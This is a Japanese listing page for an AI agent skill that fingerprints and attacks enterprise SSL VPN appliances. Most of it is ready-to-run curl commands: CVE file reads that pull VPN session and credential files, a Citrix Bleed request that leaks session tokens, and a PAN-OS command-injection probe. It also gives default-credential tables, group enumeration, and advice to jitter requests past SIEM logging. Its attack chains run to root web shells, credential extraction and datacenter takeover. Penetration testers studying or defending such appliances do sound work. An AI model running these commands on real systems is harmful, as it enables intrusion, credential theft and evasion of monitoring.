enterprise-vpn-attack について
企業向け SSL VPN 製品を特定し、公開 Web インターフェースを確認するセキュリティテストスキルです。ベンダーの識別、CVE の確認、SAML 設定の調査、許可された評価での慎重な認証情報テストを扱います。
主な機能
- 01企業 VPN ベンダーのフィンガープリント
- 02記載された VPN CVE の確認
- 03SAML メタデータと設定の調査
- 04認証とグループ列挙のガイダンス
- 05ロックアウトに配慮した初期認証情報の確認
活用シーン
- 01発見したホストの VPN 製品特定
- 02許可された VPN エンドポイントの既知問題確認
- 03公開された SAML サービスプロバイダーメタデータの調査
- 04認証応答とグループ挙動の調査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill enterprise-vpn-attackインストール後、Claude Code で/enterprise-vpn-attackを入力して読み込まれたか確認します。
詳細
このスキルを使用するタイミング
偵察で以下が見つかった場合に実行します。
*.<client>.example/+CSCOE+/logon.htmlまたは同様の+CSCOE+パス → Cisco ASA / AnyConnectintranet.*/vpn.*/connect.*/webvpn.*/wc.*/remote.*サブドメイン- ポート 443 が、
Server: Apacheヘッダーや「AnyConnect」、「FortiGate」、「NetScaler」、「GlobalProtect」、「Pulse」、「Ivanti」などのバナーを含むログインページを返す - TCP 8443 / 4443 / 10443 / 8888(一般的な VPN Web 管理ポート)
Set-Cookie: webvpn=(Cisco)/SVPNCOOKIE=(Fortinet)/NSC_AAA=(Citrix)/DSAuthSession=(Pulse)/BIGipServer*(F5)を含む HTTP レスポンス
以下には使用しないでください。
- 足がかりを得た後の内部ラテラルムーブメント(ユーザーの境界条件によりスコープ外)
- VPN クライアント側のバグ(別の攻撃クラス)
- IPsec / L2TP / OpenVPN(SSL VPN の Web スタックとは異なるプロトコル)
ベンダーの特定(フィンガープリンティング)
Cisco ASA / AnyConnect
curl --max-time 30 --connect-timeout 10 -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"
ASA のバージョン:現行ビルドではバナーに表示されません。JS ファイルのパスから推定するか、特定のパスをテストする必要があります。
# Path-based version hints (older builds leaked builds in URLs)
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled
curl --max-time 30 --connect-timeout 10 -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint
Fortinet FortiGate / FortiOS
curl --max-time 30 --connect-timeout 10 -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"
バージョン:/remote/info から漏えいすることがあります(旧バージョン)。または /login?username= の 302 レスポンスで確認できます。
Citrix NetScaler / ADC / Gateway
curl --max-time 30 --connect-timeout 10 -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"
# Version banner
curl --max-time 30 --connect-timeout 10 -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl --max-time 30 --connect-timeout 10 -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era
Palo Alto GlobalProtect
curl --max-time 30 --connect-timeout 10 -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"
# Version banner via login page
curl --max-time 30 --connect-timeout 10 -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl --max-time 30 --connect-timeout 10 -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'
Pulse Secure / Ivanti Connect Secure
curl --max-time 30 --connect-timeout 10 -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"
# Version
curl --max-time 30 --connect-timeout 10 -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'
SonicWall NetExtender / SMA
curl --max-time 30 --connect-timeout 10 -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"
F5 Big-IP / APM
curl --max-time 30 --connect-timeout 10 -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)
CVE マトリックス — 認証前または認証バイパス(2018~2026)
Cisco ASA / AnyConnect
| CVE | 影響対象 | 種類 | テスト |
|---|---|---|---|
| CVE-2018-0296 | ASA の特定の 9.x 未満のビルド | パストラバーサル — 情報漏えい(セッション、設定) | GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua |
| CVE-2020-3452 | 特定のパッチレベル適用前の ASA、FTD | パストラバーサル — ファイル読み取り | GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua とそのバリエーション |
| CVE-2023-20269 | 特定の ASA、FTD | SSL VPN の認証バイパス | /+webvpn+/index.html に対して、グループと有効な認証情報の組み合わせをブルートフォースします |
| CVE-2024-20481 | RAVPN | 細工したハンドシェイクによる DoS | レッドチームではスキップ — 影響を伴います |
# Cisco CVE-2020-3452 — file read
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5
# Cisco CVE-2018-0296 — path traversal
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20
# Files commonly retrievable on vulnerable ASA:
# /+CSCOE+/portal_inc.lua (portal inclusions — may reveal local users)
# /+CSCOE+/session_password.html
# /+CSCOE+/files/files.html
Fortinet FortiGate / FortiOS
| CVE | 影響対象 | 種類 | テスト |
|---|---|---|---|
| CVE-2018-13379 | FortiOS 5.4-6.0 | パストラバーサル — sslvpn_websession ファイル読み取り | GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession |
| CVE-2022-42475 | 特定の FortiOS 7.x | ヒープオーバーフロー — 認証前 RCE | 複雑なエクスプロイトです。nuclei のテンプレート CVE-2022-42475 でテストします |
| CVE-2023-27997 (XORtigate) | 複数の FortiOS | ヒープオーバーフロー — 認証前 RCE | 公開 PoC があり、nuclei のテンプレートも利用できます |
| CVE-2024-21762 | FortiOS 6.x-7.x | 範囲外書き込み — 認証前 RCE | 公開 PoC、および nuclei のテンプレート CVE-2024-21762 |
| CVE-2024-55591 | FortiOS 7.0-7.4 | FortiOS の Node.js WebSocket 管理インターフェースにおける認証バイパス | 管理インターフェースのポートで GET /endpoint |
# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
# Response contains plaintext usernames + sessions if vulnerable
# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):
# IP:PORT username password (and others)
Citrix NetScaler / ADC / Gateway
| CVE | 影響対象 | 種類 | テスト |
|---|---|---|---|
| CVE-2019-19781 (Shitrix) | ADC/Gateway の特定の 10.5-13.0 | パストラバーサル → XML アップロード経由の RCE | GET /vpn/../vpns/cfg/smb.conf |
| CVE-2022-27518 | SAML が設定された ADC/Gateway | 認証前 RCE | 複雑です。nuclei でテストします |
| CVE-2023-3519 | NetScaler ADC/Gateway の特定の 13.0-13.1 | 細工した HTTP 経由の認証前 RCE | 公開 PoC があります |
| CVE-2023-4966 (Citrix Bleed) | NetScaler ADC/Gateway 13.0-14.1 | メモリ漏えい → セッショントークン窃取 | 細工した Host ヘッダーを指定して POST /oauth/idp/.well-known/openid-configuration を送信 — 長い Host ヘッダーにより、レスポンスでメモリ漏えいが発生します |
# Citrix Bleed (CVE-2023-4966) detection
HOST=$(python3 -c "print('A' * 24812)")
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
# If response is large (>10KB) and contains random memory contents — vulnerable
# Session tokens often present in the memory dump
# CVE-2019-19781 file read
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'
Palo Alto GlobalProtect
| CVE | 影響対象 | 種類 | テスト |
|---|---|---|---|
| CVE-2024-3400 | GP が有効な PAN-OS 10.2-11.1 | コマンドインジェクション — 認証前 RCE | SESSID=../../../var/log/pan/test.txt を含む細工した Cookie ヘッダーを指定して POST /ssl-vpn/login.esp を送信 |
# CVE-2024-3400 detection
curl --max-time 30 --connect-timeout 10 -sk -X POST 'https://target/ssl-vpn/login.esp' \
-H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \
--data 'jsessionid=test'
# Look for file-creation side-effect on test path — palo creates file with command output
Pulse Secure / Ivanti Connect Secure / Policy Secure
| CVE | 影響を受ける製品 | 種別 | テスト |
|---|---|---|---|
| CVE-2019-11510 | Pulse Connect Secure 8.x-9.x | 任意ファイル読み取り | GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/ |
| CVE-2021-22893 | Pulse Connect Secure 9.x | 認証前の RCE | 複雑な複数ステップが必要です。nuclei でテストしてください |
| CVE-2024-21887 | Ivanti Connect Secure 9.1-22.6 | Web コンポーネントでのコマンドインジェクション | 細工した本文を指定して POST /api/v1/totp/user-backup-code/ |
| CVE-2023-46805 | Ivanti Connect Secure 9.1-22.6 | 認証バイパス | 完全な攻撃チェーンには 21887 と組み合わせます |
# CVE-2019-11510 — Pulse file read
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'
SonicWall
| CVE | 影響を受ける製品 | 種別 | テスト |
|---|---|---|---|
| CVE-2021-20016 | SMA 100 シリーズの特定のファームウェア | SQL インジェクション — 認証前 | nuclei テンプレートを利用できます |
| CVE-2024-40766 | SonicOS の特定のバージョン | アクセス制御の不備 | 特定のファームウェアバージョン |
SAML SP / IdP の設定ミス(必ず確認)
現在、ほとんどのエンタープライズ VPN は SSO に SAML を使用しています。SP メタデータを確認してください。
# Cisco ASA
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50
# Fortinet
curl --max-time 30 --connect-timeout 10 -sk 'https://target/remote/saml/metadata' | head -50
# Citrix
curl --max-time 30 --connect-timeout 10 -sk 'https://target/saml/login' | head -30
次の点を確認します。
AuthnRequestsSigned="false"→ XSW の悪用についてはhunt-samlを参照してくださいWantAssertionsSigned="false"→ 重大です。アサーションのリプレイが可能な場合があります- オーディエンス制限の検証不備
- 公開されている SP 署名証明書(リプレイ/偽造攻撃に利用される可能性があります)
デフォルト認証情報(慎重にテストしてください — アカウントロックアウトのリスクがあります)
| ベンダー | ユーザー | パスワード | 備考 |
|---|---|---|---|
| Cisco ASA | admin | cisco | 工場出荷時のデフォルト。実稼働環境ではほとんど見られません |
| Cisco ASA | enable_15 | cisco | コンソール |
| Fortinet | admin | (empty) | 工場出荷時のデフォルト |
| Citrix NetScaler | nsroot | nsroot | 工場出荷時のデフォルト |
| Citrix NetScaler | nsroot | (serial number) | 新しいファームウェア |
| Palo Alto | admin | admin | 工場出荷時のデフォルト |
| Pulse Secure | admin | password | 工場出荷時の設定。CIS 強化済み環境では変更されています |
| F5 Big-IP | root | default | 工場出荷時の設定 |
| F5 Big-IP | admin | admin | よくある別の組み合わせ |
| SonicWall | admin | password | 工場出荷時の設定 |
⚠ ほとんどのエンタープライズ環境では、これらは変更されています。ロックアウトを避けるため、アカウントごとに 2 回以下の試行にとどめてください。
グループ/トンネルグループの列挙(Cisco 固有)
Cisco ASA の AAA グループは、認証なしで列挙できる場合があります。
# Tunnel group enumeration via timing
for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do
ms=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w "%{time_total}" \
-X POST "https://target/+webvpn+/index.html" \
-d "username=test&password=test&group_list=$group&tgroup=&Login=Login")
echo "$group: ${ms}s"
done
# Larger differential timing = group exists; valid groups respond slower in some builds
AAA バックエンドの特定
認証に失敗した後、エラーレスポンスの詳細を確認してください。
| レスポンス内のパターン | AAA バックエンド |
|---|---|
a0=2 (Cisco) | 不明なユーザー |
a0=3 (Cisco) | パスワードが間違っています |
a0=4 (Cisco) | ログインが制限されています |
a0=12 (Cisco) | アカウントがロックされています |
a0=115 (Cisco) | 一般的な認証失敗(LDAP/RADIUS/AD レイヤーのエラー) |
| レスポンス本文に AADSTS | Entra(SAML)をバックエンドとして使用 |
Authentication failed via RADIUS | RADIUS バックエンド |
Invalid username or password(一般的なメッセージ) | LDAP またはローカル DB |
フローに SAML/Entra が見られる場合は、認証情報スプレーの戦略について m365-entra-attack スキルに切り替えてください。
一般的なプローブ手順(5 分でフィンガープリントを取得)
TARGET="vpn.target.com"
# Cisco
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/+CSCOE+/logon.html" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/+CSCOE+/saml/sp/metadata" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest" -o /tmp/cisco_cve.html
# Fortinet
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/remote/login" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt
# Citrix
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/vpn/../vpns/cfg/smb.conf" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt
HOST=$(python3 -c "print('A' * 24812)")
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Host: $HOST" "https://$TARGET/oauth/idp/.well-known/openid-configuration" -o /tmp/citrix_bleed.txt
wc -c /tmp/citrix_bleed.txt
# Palo Alto
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/global-protect/login.esp" 2>&1 | head -3
# Pulse / Ivanti
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/dana-na/auth/url_default/welcome.cgi" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt
迅速なトリアージに使う Nuclei テンプレート
Nuclei には、上記の CVE のほとんどに対応する高品質なテンプレートがあります。1 つのコマンドで一括スキャンできます。
nuclei -u https://target/ \
-tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \
-severity high,critical -rl 5
より広範な脆弱性を対象にするには -as(自動スキャン)を追加しますが、処理は遅くなります。
運用上の注意
- **バナーが削除されたサーバー(バージョン情報が開示されない)**は、多層防御の観点で有効です。CVE が見つからなくても、良好な所見として記録してください
- リクエスト頻度を抑えてください。これらのアプライアンスは多くの場合、すべてのリクエストを SIEM に記録します。間隔に揺らぎを加え、時間をかけて実施してください
- SAML メタデータは匿名で取得できます。取得してください。AAA バックエンドに関する情報を得られます
- 明示的な許可なく、レッドチーム演習で認証前 RCE の PoC を実行しないでください。VPN コンセントレーターを誤って使用不能にすると、クライアントに壊滅的な影響を与えます。まず検出のみのテストを行い、許可を得てから範囲を広げてください
- AAA バックエンドの特定結果を記録してください。ASA が RADIUS からローカル認証に接続しているのか、SAML から Entra に接続しているのかによって、その後の攻撃経路が変わります
検証
このセルフテストを実行して、VPN アプライアンスのフィンガープリンティングが機能することを確認します。
- Cisco ASA のフィンガープリント — パス検出の構文を確認します。
curl --max-time 30 --connect-timeout 10 -skI "https://vpn.example.com/+CSCOE+/logon.html" -o /dev/null -w "HTTP %{http_code}
" 2>/dev/null && echo "(test probe sent)"
2. **Fortinet のパスプローブ** — FortiOS のパス構文を確認します。
```bash
curl --max-time 30 --connect-timeout 10 -skI "https://vpn.example.com/remote/login" -o /dev/null -w "HTTP %{http_code}
" 2>/dev/null && echo "(test probe sent)"
-
CVE-2020-3452 のプローブ構文 — Cisco のファイル読み取りパスの構築を確認します。
echo "https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua" | grep -q "+CSCOE+" && echo "PASS: CVE path syntax correct" || echo "FAIL" -
CVE-2018-13379 のプローブ構文 — Fortinet のパストラバーサル構築を確認します。
echo "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" | grep -q "fgt_lang" && echo "PASS: Fortinet path syntax correct" || echo "FAIL" -
Citrix Bleed のプローブ構文 — Host ヘッダーのオーバーフローパターンを確認します。
echo "POST /oauth/idp/.well-known/openid-configuration" | grep -q "openid-configuration" && echo "PASS: Citrix Bleed endpoint syntax correct" || echo "FAIL" -
SAML メタデータのプローブ — メタデータエンドポイントの構文を確認します。
echo "/+CSCOE+/saml/sp/metadata /remote/saml/metadata" | grep -q "saml" && echo "PASS: SAML metadata paths present" || echo "FAIL"
6 件のテストすべてで、VPN のフィンガープリンティングと CVE 検出の構文を検証します。
隣接するスキルへの橋渡し
m365-entra-attack— AAA バックエンドが Entra SAML の場合。クレデンシャルスプレーの戦略を応用できます。hunt-saml— SAML SP の設定に問題がある場合の XSW/署名のストリッピングmid-engagement-ir-detection— アプライアンスは大量のログを生成します。エンゲージメント中に IPS ルールが導入されていないか監視してください。redteam-mindset— バナーが削除されていることは、「脆弱ではない」ことを意味しません。動作フィンガープリントで調査を続けてください。
注意点
- 1 つの CVE パスで 404 が返っただけで「パッチ適用済み」と判断しないでください — パッチの適用状況にはばらつきがあるため、ベンダーごとに 3 件以上の CVE をテストしてください。
- バージョンバナーだけを信用しないでください — アプライアンスのベンダーは、バージョン文字列を変更せずに修正をバックポートすることがよくあります。
- レート制限なしで重い nuclei スキャンを実行しないでください — これらのアプライアンスは重要インフラです。
-rl 5以下を使用してください。 - すべての CVE PoC をすぐに試してフィンガープリントを取得しないでください — まず、影響の小さい HEAD とバージョンバナーのプローブから始めてください。
- SAML メタデータを確認してください — アプライアンスにパッチが適用済みでも、SAML SP の設定ミスは独立した攻撃対象領域です。
- 明示的な許可なしに認証前 RCE PoC を実行しないでください — VPN コンセントレーターを誤ってクラッシュさせると、壊滅的な事態になります。まず検出のみのテストを行ってください。
- HTTP ステータスコードだけを信用しないでください — パッチ適用済みのアプライアンスでも、既知の脆弱なパスに対して 200 を返しながら、異なるコンテンツを返す場合があります。レスポンスボディをベースラインと比較してください。
- ベンダーが 1 社だけだと思い込まないでください — 多くの企業では、複数の VPN アプライアンス(Cisco と Citrix、Fortinet と Pulse など)を運用しています。攻撃パスを選択する前に、すべてをフィンガープリントしてください。
- AAA バックエンドを無視しないでください — VPN が RADIUS からローカル認証への接続を使用しているのか、SAML から Entra への接続を使用しているのかを把握していると、その後の攻撃パスが大きく変わります。
- デフォルト認証情報によるロックアウトのリスク — ほとんどの企業のターゲットでは、工場出荷時のパスワードが変更されています。アカウントごとに 2 回以下の試行にしてください。
- VPN アプライアンスは大量のログを生成します — ほぼすべてのプローブが SIEM に記録される可能性があります。リクエスト間隔にジッターを加え、連続して急速に送信しないでください。
関連スキルとチェーン
hunt-rce— 主要な VPN アプライアンス(Pulse Secure、Fortinet、Citrix、Ivanti、Palo Alto)はいずれも、過去 24 か月以内に、認証前のパストラバーサルから RCE につながる脆弱性を公開しています。チェーンのプリミティブ:VPN アプライアンスの CVE(例:Ivanti ICS CVE-2024-21887、Citrix Bleed CVE-2023-4966、Fortinet CVE-2024-21762)→hunt-rceによる認証前のパストラバーサル → Web ルートへの任意ファイル書き込み → ファイルへのリクエスト →root権限の Web シェル → VPN 設定と LDAP バインド認証情報の抽出。hunt-saml— VPN の SAML SP の設定ミスは、完全にパッチ適用済みのアプライアンスでも残存します。チェーンのプリミティブ:アプライアンスに最新の CVE 対策が適用されているが、/saml/metadataにアクセス可能 → IdP のフィンガープリントを特定 → IdP に対するhunt-samlの XSW またはコメントインジェクション → 偽造アサーション → パスワードや MFA なしで VPN セッションを確立。vmware-vcenter-attack— VPN への足がかりを得た後、次の自然なピボット先は vCenter です。チェーンのプリミティブ:VPN Web シェル → VPN アプライアンスの設定から認証情報を抽出(LDAP バインド、RADIUS 共有シークレット)→ 内部 vCenter で再利用 → スコープで許可されている場合はvmware-vcenter-attack→ データセンターの乗っ取り。hunt-ntlm-info— VPN アプライアンスの中には、管理パスで匿名 NTLM を公開するものがあります。チェーンのプリミティブ:VPN 管理者ポータルの NTLM Type-2 をキャプチャ →hunt-ntlm-infoで AV_PAIR をデコード → 内部 AD フォレスト名を特定 → 同期済みテナントに対してm365-entra-attackで Entra スプレー。mid-engagement-ir-detection+redteam-report-template— VPN アプライアンスの CVE の悪用はノイズが大きく、SOC は迅速にパッチを適用します。チェーンのプリミティブ:CVE を確認 →mid-engagement-ir-detectionでベースラインを取得 → テスト中にアプライアンスが更新された場合、パッチ適用後の状態を 2 件目の指摘事項としてキャプチャ → 2 件の指摘事項をtriage-validationに通す → 重要インフラであることを明示してredteam-report-templateでまとめる。